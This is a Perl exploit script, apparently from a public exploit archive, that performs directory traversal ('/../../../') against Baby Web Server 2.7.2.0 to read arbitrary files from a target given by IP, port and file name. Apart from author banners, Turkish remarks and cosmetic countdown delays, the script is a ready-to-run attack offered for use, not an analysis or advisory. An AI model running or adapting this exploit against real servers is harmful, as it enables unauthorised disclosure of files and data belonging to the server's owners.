#!/usr/bin/perl -w # # Found By : ZoRLu # # Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com # # Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz. istemiyorsunuz isteseniz Sizlerde YaparsInýz # # Thanks: Str0ke, Cyber-Zone, Stack, AlpHaNiX, W0cker, Dr.Ly0n, ThE g0bL!N and all Friends # # Tested under my vista pc # # Download : http://www.mydesign.gen.tr/download/469.html # # Download : http://www.mydesign.gen.tr/yonlen/469.html # # Print: http://img186.imageshack.us/img186/8315/86639552.jpg use LWP::Simple; use LWP::UserAgent; print "\n Baby Web Server 2.7.2.0 Arbitrary File Disclosure Exploit\n\n"; print "\*************************************************************************\n"; print "\* Exploited By : ZoRLu *\n"; print "\* msn : trt-turk[at]hotmail.com *\n"; print "\* Home : yildirimordulari.com , dafgamers.com *\n"; print "\* Not: Turkiye Cumhuriyeti *\n"; print "\*************************************************************************\n\n\n\n"; if(@ARGV < 3) { print "[-]Exp KullanIm HatasI\n"; print "[-]Ornegi inceleyin\n\n"; &help; exit(); } sub help() { print "[+] KullanIm : perl $0 IP Port File\n"; print "[+] Ornek : perl $0 127.0.0.1 80 zorlu.ini\n"; } ($TargetIP, $Port, $File) = @ARGV; print("Bekle Lutfen ! Server a BaglanIyor...... \n"); print("Please Wait ! Connet to Server ......\n\n\n"); sleep(5); print(" Z Z\n"); print(" O O\n"); print(" R Wait... R\n"); print(" L L\n"); print(" U U\n\n\n"); $Not1="Gonlum Bir KitaptIr Bekler Masanda"; $Not2="Okusanda Olur, Okumasanda!!!"; $path="/../../../"; my $y0t = "http://" . $TargetIP . ":" . $Port . $path . $File; print("islem BasladI.... |80\n\n"); print("Started....\n\n"); sleep(1); print("1\n"); sleep(1); print("2\n"); sleep(1); print("3\n"); sleep(1); print("4\n"); sleep(1); print("5\n"); sleep(1); print("6\n"); sleep(1); print("7\n"); sleep(1); print("8\n"); sleep(1); print("9\n"); sleep(1); print("10\n"); sleep(1); print("11\n"); sleep(1); print("12\n"); sleep(1); print("13\n"); sleep(1); print("14\n"); sleep(1); print("15\n\n"); sleep(2); print("islem TamamlandI !!! 5 sn sonra hersey hazIr\n\n"); print("it is done !!! you will wait 5 min\n\n"); print("\n\n"); print("1\n"); sleep(1); print("2\n"); sleep(1); print("3\n"); sleep(1); print("4\n"); sleep(1); print("5\n\n"); sleep(1); print("TamamdIr!!!\n\n"); print("Done!!!\n\n"); sleep(2); $ourfile=get $y0t; if($ourfile){ print("\n\n\n............Our File...........\n\n"); print("$ourfile \n\n"); print(".........................EOF.......................\n\n"); print("islem Tamam\n\n"); print("Not:\n\n"); print("$Not1\n"); print("$Not2\n\n\n"); } else { print(".........................EOF.......................\n\n"); print(" Dosya BulunamadI !!!\n\n"); print(" Not Found !!!\n\n"); exit; }